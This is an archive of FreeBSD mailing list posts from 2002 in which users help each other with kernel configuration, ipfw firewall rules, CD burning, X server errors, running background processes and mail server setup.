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On Tue, 30 Jul 2002 18:15, David Siebörger wrote:

> You have 'device umass' in your config, but it seems to me you're
> missing either 'device scbus' or 'device da'.  From GENERIC:
>
> device          umass           # Disks/Mass storage - Requires scbus and
> da
> Either remove umass, or make sure you have scbus and da.

Well spotted.  Kernel now compiled/depended/made and installed!
Thanks.

-- 
Regards,
Brian

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From owner-freebsd-questions  Tue Jul 30  6:25:38 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: ipfw weirdness
To: Mark Pearce <mark@netchat.co.za>, freebsd-questions@FreeBSD.ORG
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Your suggested rules didn't make alot of sense to me.

--- Mark Pearce <mark@netchat.co.za> wrote:
> Hi all
> 
> I have the following situation, I have a client
> behind my box running exchange, and they are getting
> spammed to death, I want to disallow all incoming
> traffic to their box, but allow incoming traffic
> from their secondries only, the secondries are not
> getting spammed at this moment.
> 
> I am running a ipfw / natd combination 
> 
> My default ruleset is allow all
> I run the command 
> 
> ipfw add allow 200 tcp from 196.x.x.x to 196.x.x.y
> 25 

thsi would allow comunication between 2 machines. It
is matching packets from machine 196.x.x.x to machine
196.x.x.y, not packets involving the range. if these
are both on the same subnet and don't go through your
router, this rule should have no effect - the rule
would never trigger.
 
> and it effectivly blocks everything coming from
> anywhere even although I have just allowed it, if I
> remove the rule, it works fine again.
> 
> If I run the rule
> ipfw add 200 deny tcp from not 196.x.x.x to
> 196.x.x.y 25

that may kill almost everything - anything coming from
any machine that is not 196.x.x.x to 196.x.x.y on port
25.

Maybe I've got something wrong, in which case i would
LOVE to be corrected.

 it works on the port, but blocks all
> other traffic which is not what I had in mind.
> 
> What am I overlooking here.
> 
> Help
> 
> Mark
> 
I think your after ipfw add 200 deny tcp from any to
196.x.x.y 25. That would block all mail posting to
it's smtp.


__________________________________________________
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From owner-freebsd-questions  Tue Jul 30  6:31:54 2002
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Subject: Re: Scsi-emulation for Atapi Cdrewriter
From: karl agee <kdagee@attglobal.net>
To: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>
In-Reply-To: <20020730122128.A20177@gicco.cablecom.ch>
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On Tue, 2002-07-30 at 03:21, Hanspeter Roth wrote:
> Hello,
> 
> I'm trying to run Xcdroast. My Cdrewriter has an Atapi interface.
> When I start xcdroast it can't scan the SCSI-bus. `For ATAPI devices
> you have to install the SCSI-emulation first.
> Is there a SCSI-emulation in FreeBsd? How do I enable it?

My understanding is freebsd does not support scsi emulation.  Instead it
uses the atapi driver to control the burner.  neat, huh?

freebsd comes with a command line program that works well and is easy to
master called burncd...there is a man page on it, and a entry in the
handbook.  You first create an iso image with mkisofs, also command line
then burn it to your cd.  I dont think you need to make an image when
doing audio cd's havent got that far with it yet.  

burn in good health

--karl


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From owner-freebsd-questions  Tue Jul 30  6:35:29 2002
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From: Peter Christie <christie@idsi.net>
Subject: Re: What do we need in a FreeBSD desktop?
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On 29 Jul 2002 12:36 EDT you wrote:

> > Date: Mon, 29 Jul 2002 11:21:35 EDT
> > From: Peter Christie <christie@idsi.net>
> > Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
> > To: grog@lemis.com
> > Cc: FreeBSD-Questions@freebsd.org
>  
>     Hi Peter,
> 
>     please, keep the length of lines you emit below 73 chars, please.
>     Also, it would be very considerate of the freebsd mail servers if
>     you could snip irrelevant parts of the mail you reply to.

I'm using a web-based e-mail client, and can't control line length, sorry . . . 

> 
> > As an aspiring hacker, I find the challenge of learing FreeBSD very
> > rewarding in and of itself, but would I put it on my 'home' computer
> > for my wife and kids to use? not as it is now . . . it's hard enough
> > keeping them up and runnning with windoze, and the kids are into games
> > mostly, and FreeBSD is not a good gaming platform. I could probably
> > get the wife converted, as she mostly uses the net for web browsing
> > and e-mail.
> 
>     Pardon me, but if it's hard enough for someone to operate windows,
>     why should freebsd try to be *the* os for them? clearly, and it's
>     been said too many times, use a tool you can manage.

I didn't say M$ windoze was hard to operate, I did say it was hard to keep them up and running on windoze, with 3D video cards and force feedback joysticks and digital cameras and . . . I wouldn't want that challenge on a FreeBSD machine at this point in my learning.

>  
> > But the idea here is to set up a "convert" (be it from M$, Mac, or
> > otherwise) with a 'basic' desktop system that can be up and running
> > with minimum effort and complications. This would let more people
> > 'use' FreeBSD as a desktop, and provide feedback for the developers.
> 
>     hm, i'm afraid freebsd is not for the faint of heart. if you're
>     a {windows, mac} convert, you better start learning with a unixlike
>     os aimed at you: redhat, mandrake, suse. *or* you have to get
>     ready to rtfm, rtfm, rtfm.
>     
>     which is what i did. it's not a coincidence i oppose the idea of
>     converting freebsd to another dualbooter's toy. the nature of
>     freebsd has been very attractive to me, and i'm really glad this os
>     is what it is.
> 

I too am glad FreeBSD is what it is, and I utfm as needed ; )

I'm not really suggesting changing the nature of FreeBSD, but I do think an easy to install,  get up and running, basic desktop enviornment would greatly increase its user-base. . . advanced users could certainly choose the current stand/sysinstall

as a new user (which I still consider myself) I would certainly appreciate someone weeding through the 7000  ports and coming up with a basic set of programs which would provide a good starting point from which to work.

>     after all, choice is a Good Thing(TM). if freebsd turns into Just
>     Another Linux Distro, why would anyone (read: i) want to use it?
> 
> > FreeBSD will never be a great desktop OS if you don't build a huge
> > user-base, which will then get you support from manufacturers for
> > drivers and such, as well as the 'other' software companies for
> > user-land apps / games.
> 
>     i don't think this holds water, strictly speaking. freebsd already
>     *is* a great desktop os: what is a "great desktop os" lies in the
>     eye of the beholder. i've been using freebsd exclusively
>     since last september. *for me*, it is the best desktop os i've ever
>     used. it supports all the hardware and software i use, with just the
>     right "ease of use". 
> 
>     i put the term "ease of use" in quotes, because it's actually
>     something that is in the eye of the beholder, again.
>  
I still think a larger user-base would make hardware and software companies provide better support for FreeBSD, which would further increase FreeBSD's user-base . . . FreeBSD wasn't written for 'YOU', I'm certainly glad you find it useful, but it should be made to appeal to as wide an audience as possible.

Pete C



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From owner-freebsd-questions  Tue Jul 30  6:36:21 2002
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	"'Jeff D. Hamann'" <jeff_hamann@hamanndonald.com>,
	<freebsd-questions@FreeBSD.ORG>
Subject: RE: Installing mod_perl 1.27 with Apache 2 from ports
Date: Tue, 30 Jul 2002 09:40:42 -0400
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What kind of errors are you getting? There are LOTS of differences
between Apache 1.3 and 2 which could very easily have made the port out
of date.

Just an idea.


- Matthew

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG] On Behalf Of Grant Cooper
Sent: Monday, July 29, 2002 8:42 PM
To: Jeff D. Hamann; freebsd-questions@FreeBSD.ORG
Subject: Installing mod_perl 1.27 with Apache 2 from ports


I installed apache a few weeks ago with no problems but I can't seem to
get mod_perl installed. I am using the ports method, make install but I
am getting error's. I am about to try from scratch and see if that works
but before I do that, is there something I have to install or should
everything work smoothly?


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From owner-freebsd-questions  Tue Jul 30  6:36:56 2002
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Subject: Re: ipfw weirdness
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At 06:25 AM 7.30.2002 -0700, robert Backhaus wrote:
>Your suggested rules didn't make alot of sense to me.
>
>--- Mark Pearce <mark@netchat.co.za> wrote:
>> Hi all
>> 
>> I have the following situation, I have a client
>> behind my box running exchange, and they are getting
>> spammed to death, I want to disallow all incoming
>> traffic to their box, but allow incoming traffic
>> from their secondries only, the secondries are not
>> getting spammed at this moment.
>> 
>> I am running a ipfw / natd combination 
>> 
>> My default ruleset is allow all
>> I run the command 
>> 
>> ipfw add allow 200 tcp from 196.x.x.x to 196.x.x.y
>> 25 
>
>thsi would allow comunication between 2 machines. It
>is matching packets from machine 196.x.x.x to machine
>196.x.x.y, not packets involving the range. if these
>are both on the same subnet and don't go through your
>router, this rule should have no effect - the rule
>would never trigger.
> 
>> and it effectivly blocks everything coming from
>> anywhere even although I have just allowed it, if I
>> remove the rule, it works fine again.
>> 
>> If I run the rule
>> ipfw add 200 deny tcp from not 196.x.x.x to
>> 196.x.x.y 25
>
>that may kill almost everything - anything coming from
>any machine that is not 196.x.x.x to 196.x.x.y on port
>25.
>
>Maybe I've got something wrong, in which case i would
>LOVE to be corrected.
>
> it works on the port, but blocks all
>> other traffic which is not what I had in mind.
>> 
>> What am I overlooking here.
>> 
>> Help
>> 
>> Mark
>> 
>I think your after ipfw add 200 deny tcp from any to
>196.x.x.y 25. That would block all mail posting to
>it's smtp.
>
>
....also, is the rule inserted before or after your "divert" rule....???

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Tue Jul 30  6:46:24 2002
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Date: Tue, 30 Jul 2002 15:46:03 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>
Subject: Re: Scsi-emulation for Atapi Cdrewriter
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  On Jul 30 at 06:32, karl agee spoke:

> freebsd comes with a command line program that works well and is easy to
> master called burncd...there is a man page on it, and a entry in the
> handbook.  You first create an iso image with mkisofs, also command line
> then burn it to your cd.  I dont think you need to make an image when
> doing audio cd's havent got that far with it yet.  

Ok. Thank you.
And what about readcd? `dd if=/dev/acd0c of=image'?

-Hanspeter

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From owner-freebsd-questions  Tue Jul 30  6:57:50 2002
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From: Jerry McAllister <jerrymc@clunix.cl.msu.edu>
Message-Id: <200207301353.g6UDrCW04920@clunix.cl.msu.edu>
Subject: Re: What do we need in a FreeBSD desktop?
To: christie@idsi.net (Peter Christie)
Date: Tue, 30 Jul 2002 09:53:11 -0400 (EDT)
Cc: neuhauser@bellavista.cz (Roman Neuhauser), grog@lemis.com,
	FreeBSD-Questions@FreeBSD.ORG
In-Reply-To: <Infinity Data Systems WebMail-1.0.1-10280361393d46962b92afa@mail.idsi.net> from "Peter Christie" at Jul 30, 2002 09:35:39 AM
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> 
> On 29 Jul 2002 12:36 EDT you wrote:
> 
> > > Date: Mon, 29 Jul 2002 11:21:35 EDT
> > > From: Peter Christie <christie@idsi.net>
> > > Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back to M$FT WinBloze [support groups])
> > > To: grog@lemis.com
> > > Cc: FreeBSD-Questions@freebsd.org
> >  
> >     Hi Peter,
> > 
> >     please, keep the length of lines you emit below 73 chars, please.
> >     Also, it would be very considerate of the freebsd mail servers if
> >     you could snip irrelevant parts of the mail you reply to.
> 
> I'm using a web-based e-mail client, and can't control line length, sorry . . . 

Just hit the RETURN/ENTER key when you get out near the edge.  The web 
based Email server will dutifully break the line right there.
I know that's old fashioed - like typewriter days.  But, it sure
helps handle the messages better and make replying easier.
////jerry


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From owner-freebsd-questions  Tue Jul 30  7: 0:11 2002
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From: "Oleg Kyryliv" <koli@kinto.com>
To: <freebsd-questions@freebsd.org>
Subject: help with "ata0: resetting devices .."
Date: Tue, 30 Jul 2002 17:02:42 +0300
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All work, but i have ... (scroll down)

%dmesg

Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.
FreeBSD 4.6-RC #0: Mon May 27 16:15:26 EEST 2002
Timecounter "i8254"  frequency 1193182 Hz
Timecounter "TSC"  frequency 198948237 Hz
CPU: Pentium/P55C (198.95-MHz 586-class CPU)
  Origin = "GenuineIntel"  Id = 0x543  Stepping = 3
  Features=0x8001bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,MMX>
real memory  = 41943040 (40960K bytes)
avail memory = 38334464 (37436K bytes)
Preloaded elf kernel "kernel" at 0xc0292000.
Preloaded userconfig_script "/boot/kernel.conf" at 0xc029209c.
Intel Pentium detected, installing workaround for F00F bug
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
isab0: <Intel 82371SB PCI to ISA bridge> at device 7.0 on pci0
isa0: <ISA bus> on isab0
atapci0: <Intel PIIX3 ATA controller> port 0xf000-0xf00f at device 7.1 on
pci0
ata0: at 0x1f0 irq 14 on atapci0
ata1: at 0x170 irq 15 on atapci0
pci0: <Sigma Designs REALmagic64/GX SVGA controller> at 18.0 irq 15
rl0: <RealTek 8139 10/100BaseTX> port 0x6100-0x61ff mem
0xe0410000-0xe04100ff irq 11 at de
vice 19.0 on pci0
rl0: Ethernet address:
miibus0: <MII bus> on rl0
rlphy0: <RealTek internal media interface> on miibus0
rlphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
rl1: <RealTek 8139 10/100BaseTX> port 0x6200-0x62ff mem
0xe0411000-0xe04110ff irq 10 at de
vice 20.0 on pci0
rl1: Ethernet address:
miibus1: <MII bus> on rl1
rlphy1: <RealTek internal media interface> on miibus1
rlphy1:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
IP packet filtering initialized, divert enabled, rule-based forwarding
enabled, default to
 deny, logging limited to 20 packets/entry by default
ad1: 3052MB <SAMSUNG SV0322A> [11024/9/63] at ata0-slave WDMA2
Mounting root from ufs:/dev/ad1s1a
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 13136, size:
12288
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 9800, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 40248, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 16456, size:
8192
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 38800, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 13040, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 19416, size:
8192
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 9080, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 12896, size:
4096
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 22184, size:
8192
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 17168, size:
20480
ad1: READ command timeout tag=0 serv=0 - resetting
ata0: resetting devices .. done
swap_pager: indefinite wait buffer: device: #ad/0x20009, blkno: 30560, size:
4096


what is it ?
how to solve this ?

--
Oleg Kyryliv


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From owner-freebsd-questions  Tue Jul 30  7: 8: 0 2002
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Subject: X problems.......
Date: Wed, 30 Jul 1997 19:43:43 +0530
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------=_NextPart_000_002A_01BC9D20.E335CF00
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Well I installed X ran the configuration........I had only 1 prolem it =
only recognized 4 Mb of my Video RAM......(instead of 16),but it's =
ok......I chose 4 MB and finished......when I type startx some text =
scroll's on the screen the monitor light blinks......some more stuff =
scrolls.......and I get the message.....
Fatal Server Error :
    AddScreen/ScreenInit failed for driver 0

Does anyone know what the problem is?
Thanx in advance,
Piyush

------=_NextPart_000_002A_01BC9D20.E335CF00
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Well I installed X ran the =
configuration........I=20
had only 1 prolem it only recognized 4 Mb of my Video RAM......(instead =
of=20
16),but it's ok......I chose 4 MB and finished......when I type startx =
some text=20
scroll's on the screen the monitor light blinks......some more stuff=20
scrolls.......and I get the message.....</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fatal Server Error :</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; AddScreen/ScreenInit =
failed for=20
driver 0</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Does anyone know what the problem =
is?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanx in advance,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV></BODY></HTML>

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Where can i download FREEBSD to try it?
-- 
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From: "Balaji, Pavan" <pavan.balaji@intel.com>
To: "'Vijay Patel'" <talkwithpatel@yahoo.com>,
	freebsd-questions@FreeBSD.ORG
Subject: RE: To keep running java code in background after logout
Date: Tue, 30 Jul 2002 07:45:48 -0700
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First of all I'm surprised that the code was still running in the background
in Linux after you logout. Probably, you mean, you close the terminal window
and not logout.

Anyway, try using "nohup <command>"... It might help..


Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: Vijay Patel [mailto:talkwithpatel@yahoo.com]
> Sent: Tuesday, July 30, 2002 1:10 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: To keep running java code in background after logout
> 
> 
> 
> Hi friends,
> 	I have installed FreeBSD 4.5 on my machine. I am also
> having 2 other machines running on linux.
> 	We have developed a code in java which we need to run
> in background for 24 hrs. In linux we use...
> 	java Code1 &
> 	
> 	command to run our code in background. After starting
> this command we just logout from that terminal window.
> We have seen that on linux machine our code works fine
> in background.
> 
> 	When i have tested same code on our FreeBSD server,
> unfortunately it gets killed, without writting any
> error message in log file. We tried to search on all
> help pages available about how to run our application
> in background - on console window. We did not get any
> help about this item.
> 
> 	My observations are... when i start code on FreeBSD,
> then i issue ps command ...
> 
> bash-2.05a$ ps
>   PID  TT  STAT      TIME COMMAND
>  1006  p0  Ss     0:00.04 -bash (bash)
>  1087  p0  S      0:00.20
> /usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
>  1103  p0  R+     0:00.00 ps
> 
> 
> 	After starting my code, i logout & relogin to check
> whether my code is working in background or not....
> 
> bash-2.05a$ ps
>   PID  TT  STAT      TIME COMMAND
>  1087  p0- I      0:00.20
> /usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
>  1105  p0  Ss     0:00.01 -bash (bash)
>  1106  p0  R+     0:00.00 ps
> 
> 	It is showing that code is working right now. But
> after 2-3 hours code automatically gets killed. I am
> having good provision for keeping all error log iff my
> code exists with an error. But here i am sure that it
> is getting killed - so i am not getting any error log.
> 
> 	Can any friend help in how to keep my code working
> without a terminal window. - I am starting my code
> using ssh terminal from another machine. It is not
> possible for me to go to front of server & start code
> from server itself. Is there any idea how all deamon
> processes works - Tomcat, Mysqld etc...
> 
> 	Thanks in advance.
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

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From owner-freebsd-questions  Tue Jul 30  7:47:35 2002
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From: "Balaji, Pavan" <pavan.balaji@intel.com>
To: "'HummerOk@yandex.ru'" <HummerOk@yandex.ru>,
	freebsd-questions@FreeBSD.ORG
Subject: RE: download
Date: Tue, 30 Jul 2002 07:47:14 -0700
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http://www.freebsd.org --> follow the getting FreeBSD link!!

Pavan Balaji,
Intel Corporation
Email: pavan.balaji@intel.com

    "Only the Paranoid Survive"  --  Andy Grove


> -----Original Message-----
> From: HummerOk [mailto:HummerOk@yandex.ru]
> Sent: Tuesday, July 30, 2002 9:16 AM
> To: freebsd-questions@FreeBSD.ORG
> Subject: download
>=20
>=20
> Where can i download FREEBSD to try it?
> --=20
> =F1=CE=C4=C5=CB=D3.=EC=C5=D4=CF ( http://leto.yandex.ru/ ) - =
=DC=CE=C3=C9=CB=CC=CF=D0=C5=C4=C9=D1 =CC=C5=D4=CE=C5=C7=CF =
=CF=D4=C4=D9=C8=C1!
>=20
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20

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From owner-freebsd-questions  Tue Jul 30  7:48:27 2002
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Date: Tue, 30 Jul 2002 10:48:31 -0400 (EDT)
Subject: Re: User auth through database
From: "BSD Questions" <bsdquestions@connect1.ca>
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What I think is a great setup is using Postfix as your MTA, Qmail to pop
with and Vpopmail.  You can find more info here.

http://inter7.com/vpopmail/

I set this up a while back and it works great.  You do not have to create
any user acccounts on your system.  Qmail with vpopmail creates a seperate
passwd file for each domain that you want to use it with.  You can also
setup a web admin so you can easily add users or make changes from the
website you setup.

I really found this to be a great setup..

Frank

Ciro Maeitta said:
>
> ----- Original Message -----
> From: "Steven Lake" <raiden@shell.core.com>
> To: <freebsd-questions@FreeBSD.ORG>
> Sent: Monday, July 29, 2002 2307h
> Subject: User auth through database
>
>
>> Hi again.  Quick question.  Is there a port, or a good tutorial
>> guide on how to setup a server so that users can get mail but not
>> actually have a legitimate shell account on the server.  I only want
>> three actual accounts that can login to the machine through sell and
>> the console, but I want Qpopper to treat the users as though they
>> actually had a shell account on the machine.
>>
>> Basically what I'm thinking is to use some form of user auth for the
>> mail services through an SQL database of some kind.  I've seen it
>> done, but I'm not sure how to do it.  Anyone have any ideas?  Or do I
>> need to use a different Pop3 mail server port to make use of this SQL
>> database auth method I'm looking at doing?
>>
>> Also, if I want users to have to auth to send mail, can I setup
>> sendmail to use this same database, or do I need to use something
>> else?
>
> I dont quite follow what you mean about a database... you should be
> able to do this by just setting the users shell to /sbin/nologin or
> /nonexistant or whatever is appropriate for your setup... then they
> cannot log in at the console or via ssh, but qpopper will still be able
> to feed them thier mail.
>
>
> HTH
> -C
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Tue Jul 30  7:56:49 2002
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Can you give us more info? Which type of video card? 

On Wed, 30 Jul 1997, Piyush wrote:

> Date: Wed, 30 Jul 1997 19:43:43 +0530
> From: Piyush <justsovanilla@yahoo.co.in>
> To: freebsd-questions@FreeBSD.ORG
> Subject: X problems.......
> 
> Well I installed X ran the configuration........I had only 1 prolem it only recognized 4 Mb of my Video RAM......(instead of 16),but it's ok......I chose 4 MB and finished......when I type startx some text scroll's on the screen the monitor light blinks......some more stuff scrolls.......and I get the message.....
> Fatal Server Error :
>     AddScreen/ScreenInit failed for driver 0
> 
> Does anyone know what the problem is?
> Thanx in advance,
> Piyush
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
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From owner-freebsd-questions  Tue Jul 30  7:59:59 2002
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Subject: Re: xf86cfg gives file letting startx work, but not xdm--solved
In-Reply-To: Your message of "Mon, 29 Jul 2002 21:34:53 +0200."
             <20020729213453.1c9357c9.freebsd@secspace.de> 
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I've been supplied with the answer.

/usr/X11R6/lib/X11/xdm/Xservers

needs to have 

-depth 24 -xf86config /etc/X11/XF86Config
(or whatever) added to the last line which reads

:0 local /usr/X11R6/bin/X

hawk
-- 



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From owner-freebsd-questions  Tue Jul 30  8: 6:11 2002
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 M$FT WinBloze [support groups])
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My Mom runs RedHat at home and uses Mozilla for her web broswing and 
email. It couldn't be any easier. Same for FreeBSD. When I upgrade her PC 
this year I may make it a FreeBSD box. For an entry level user who only 
requires basic web/email access, either Mozilla or the stock KDE apps are 
fine.

I'm not bashing GNOME or Evolution, but for standard low-tech email using 
Evolution is like using a dumptruck to go grocery shopping ...

On Tue, 30 Jul 2002, Greg 'groggy' Lehey wrote:

> Date: Tue, 30 Jul 2002 12:06:31 +0930
> From: Greg 'groggy' Lehey <grog@lemis.com>
> To: Ed Yu <edlyu@yahoo.com>
> Cc: Jud <jud@myrealbox.com>, Hostmaster@Video2Video.Com, mwvw@adelphia.net,
>      FreeBSD-Questions@FreeBSD.ORG
> Subject: Re: What do we need in a FreeBSD desktop? (was: Peter heads back
>     to M$FT WinBloze [support groups])
> 
> [Format recovered--see http://www.lemis.com/email/email-format.html]
> 
> On Monday, 29 July 2002 at 19:16:10 -0700, Ed Yu wrote:
> > I have used mutt and I liked it but I think for
> > instant-workstation, evolution would be more
> > appropriate.
> 
> Is that what you're using?  The text you send is badly broken.  I
> wouldn't want to recommend that to anybody.
> 
> > I have noticed also that new users seems to prefer galeon a lot as
> > well.
> 
> That's a web browser.
> 
> Greg
> 
> > --- Jud <jud@myrealbox.com> wrote:
> >> On Sun, 28 Jul 2002 12:00:16 +0930
> >> Greg 'groggy' Lehey <grog@lemis.com> wrote:
> >>
> >> [snip]
> >>> The real
> >>> problem I have is knowing which of the over 7,000
> >> ports you want
> >>> to install to get "basic" desktop functionality.
> >> Some time ago
> >>> I created the "instant-workstation" port, but
> >> didn't make much
> >>> noise about it.  instant-workstation basically
> >> installs a number
> >>> of dependent ports (see below for a list) and then
> >> does some
> >>> minor configuration.  Over the past couple of days
> >> I've been
> >>> installing a brand new machine (laptop) for a
> >> friend, and I've
> >>> been looking at the rough edges.  Here's what I've
> >> found:
> >>>
> >>> 1.  Some of the dependent ports don't build
> >> cleanly.  This
> >>> obviously
> >>>     requires some attention.
> >>> 2.  "instant" is a misnomer, at least if you build
> >> from source.
> >>> I'm
> >>>     building on a Dell Inspiron 7500 with a 600
> >> MHz processor,
> >>>     and it takes over 12 hours.
> >>> 3.  Once it's built, it works "out of the box".
> >> I've installed
> >>> the
> >>>     XFree86 4 port, and installation is really
> >> nothing more than
> >>>     this:
> >>>
> >>>     # X -configure
> >>>     # mv /root/XF86Config.new /etc
> >>>     # echo exec kdestart > ~me/.xinitrc
> >>>
> >>>     You can then run startx or xdm and end up in a
> >> relatively
> >>>     complete kde environment.
> >>>
> >>> So what's in instant-workstation?  Currently I
> >> have:
> >>>
> >>> 	acroread
> >>> 	bash
> >>> 	cdrecord
> >>> 	dos2unix
> >>> 	emacs
> >>> 	fetchmail
> >>> 	gs
> >>> 	grip
> >>> 	gimp
> >>> 	gv
> >>> 	gpg
> >>> 	ispell
> >>> 	startkde
> >>> 	mkisofs
> >>> 	mount_smbfs
> >>> 	mutt
> >>> 	netscape
> >>> 	xtset
> >>> 	xmms
> >>> 	xv
> >>>
> >>> My questions to you: is there anything missing?
> >> Has anybody
> >>> tried instant-workstation?  I'd be interested in
> >> suggestions
> >>> about how to improve it.
> >>>
> >>> Greg
> >>
> >> I haven't tried instant-workstation, so of course
> >> I'll rush in
> >> where angels fear to tread.
> >>
> >> One of the instant-workstation ports I have not
> >> tried is mutt,
> >> though I've read much praise for it and no negatives
> >> that I can
> >> recall.  I wonder, though, whether a gui mail
> >> application might be
> >> a good choice for this "target market," in addition
> >> to, instead
> >> of, or as another choice besides mutt.  Sylpheed
> >> happens to be
> >> the one I prefer, and it seems to be well liked by
> >> many other
> >> users.  Speaking as someone who didn't know a thing
> >> about Unix a
> >> couple of years ago (and hasn't improved on the
> >> situation all that
> >> much since:), it was very easy to learn.
> >>
> >> Another place where options might be appreciated is
> >> browsers -
> >> perhaps Galeon, Opera, Mozilla?  And Lynx I think is
> >> excellent for
> >> getting around on the Net at times when one doesn't
> >> want to or
> >> can't be in X.
> >>
> >> Perhaps that's taken care of by w3m (I don't
> >> remember ATM whether
> >> that's part of the default emacs install)?  That
> >> brings me to my
> >> last and likely most controversial thought.  Emacs
> >> does everything
> >> but bake blueberry muffins, but it might be more
> >> intimidating (or
> >> puzzling - took me awhile just to understand what
> >> "M-x"
> >> meant) than useful to someone fairly new to Unix.
> >> It does take a
> >> while to build and install (and download, for those
> >> of us on
> >> dial-ups).  And the configuration options! - not
> >> exactly
> >> 'instant.'  If it's part of the install, it seems to
> >> me users will
> >> try it, and may wind up thinking "Jeez, this stuff
> >> is hard" as a
> >> first impression of FreeBSD.
> >>
> >> HTH,
> >>
> >> Jud
> >>
> >> To Unsubscribe: send mail to majordomo@FreeBSD.org
> >> with "unsubscribe freebsd-questions" in the body of
> >> the message
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Yahoo! Health - Feel better, live better
> > http://health.yahoo.com
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> 
> --
> When replying to this message, please take care not to mutilate the
> original text.  
> For more information, see http://www.lemis.com/email.html
> Finger grog@lemis.com for PGP public key
> See complete headers for address and phone numbers
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 

/* 
 * John Bleichert
 * syborg@stny.rr.com
 * http://vonbek.dhs.org/latest.jpg
 */


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From owner-freebsd-questions  Tue Jul 30  8:15:50 2002
